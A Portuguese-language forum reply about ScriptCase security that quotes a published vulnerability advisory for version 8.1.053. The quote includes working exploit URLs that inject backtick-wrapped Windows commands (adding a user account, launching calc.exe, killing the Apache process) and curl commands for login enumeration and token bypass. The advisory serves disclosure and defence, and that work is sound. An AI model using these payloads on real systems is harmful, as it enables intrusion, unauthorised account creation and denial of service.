Boa tarde Gregory.
Interessante essa questão sobre segurança.
Apesar de XSS e CRSF possuirem diferenças:
O que sei e é certo é que há nas versões recentes do ScriptCase uma funcionalidade no item Segurança:
Utilizar a segurança através de token CSRF (Cross-Site Request Forgery)
Há dados sobre o assunto no link abaixo de um indivíduo que realizou alguns testes de algumas vulnerabilidades:
https://packetstormsecurity.com/files/139829/ScriptCase-CSRF-XSS-SQL-Injection.html
Não testei nada do tipo e nem pretendo por enquanto mas é algo muito interessante se preocupar com segurança.
Mas o conteúdo do link acima traz as seguintes informações (desconheço a credibilidade do autor) :

Downloaded latest version v8.1.053, and still vulnerable.
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
[CSRF Remote Command Execution]
Scriptcase has a remote command execution ailment via CSRF, if an
authenticated user clicks an attacker link etc. This can allow attackers
to run arbitrary system commands on the affected host and do things like
add accounts etc.
Scriptcase PHP code uses encryption / obfuscated so its not easy testing
but we can see here the error returned for PHP eval()'d code
when injecting an Array [] brackets or something as paremeter.
Parse error: syntax error, unexpected end of file, expecting ']'
in C:\Program Files
(x86)\NetMake\v81\wwwroot\scriptcase\devel\lib\php\functions2.inc.php(358)
: eval()'d code on line 1
After trying to wrap a Windows system call in backtick "`" operators it
worked perfectly. This allowed me to add an arbitrary system
account to the affected system.
[CSRF]
There are several cross site request forgery vectors, allowing attackers to
add an Admin account to Scriptcase application etc.
[Cross Site Scripting]
Multiple XSS entry points exists within the vulnerable application both GET
and POST.
Example XSS vulnerable scriptcase code 'ajax_cod_apls' is not santized
before being processed by ajax HTTP post request.
$.ajax({
type: 'POST',
url: '/scriptcase/devel/iface/generate.php',
data:
'compile_app_ajax=S&gen_option=console&targ_frame=_self&console=yes&ajax_cod_apls='
+ str_open_apps,
success: function(s_result){
a_result = s_result.split('__compile_ajax_sep_row__');
nm_compile_gerar();
}
});
[Local Privilege Escalation]
scriptcase uses weak insecure file permissions as the aEveryonea group has
full access on it. Allowing low privileged users to
execute arbitrary code in the security context of ANY other users with
elevated privileges on the affected system.
"Everyone" encompasses all users who have logged in with a password as well
as built-in, non-password protected accounts such as Guest
and LOCAL_SERVICE.Any user (even guest) will be able to replace, modify or
change the file. This would allow an attacker the ability
to inject code or replace scriptcase used executables and have it run in
the context of the system.
[User Enumeration]
On failed scriptcase login the application returns one of the following in
the HTTP response.
"The login name provided is not registered on the system."
On a failed password but correct user name entered application HTTP
response returns.
"The password is incorrect."
Exploit code(s):
===============
[CSRF Remote Command Execution]
Note: we NEED to use backtick operators "`"
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`start
net user EVIL abc123 /add`
Verify...
c:\> net user
User accounts for \\hyp3rlinx
------------------------------------------------------------------------
Administrator hyp3rlinx Guest
EVIL Test Privileged-User
2) start Windows 'calc.exe'
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`calc.exe`
OR
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`start
calc.exe`
**sometimes "calc.exe" doesnt appear but it is running use "tasklist /v |
findstr calc.exe" to verify it is in fact running.
4) Apache DOS (needs httpd environmental variable set)
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`taskkill
/f /im httpd.exe`

[User Account Enumeration / Token Bypass]
First off the stupid token used on the login FORM e.g. "form_login=<TOKEN>"
is totally useless you can put anything you like in it
and the application will happily process the request.
CURL Enumeration 1)
curl -i -v -X POST
http://127.0.0.1:8081/scriptcase/devel/iface/login.php?rand= -d
field_user=BOZO -d field_pass=1 -d ajax=nm -d option=login -d
form_login=STUPID-TOKEN -d language=en_US
HTTP Response:
"error1:The login name provided is not registered on the system."
CURL Enumeration 2)
curl -i -v -X POST
http://127.0.0.1:8081/scriptcase/devel/iface/login.php?rand= -d
field_user=admin -d field_pass=1 -d ajax=nm -d option=login -d
form_login=STUPID-TOKEN -d language=en_US
HTTP Response:
"error1:The password is incorrect."
Either way we know when we hit a valid account.
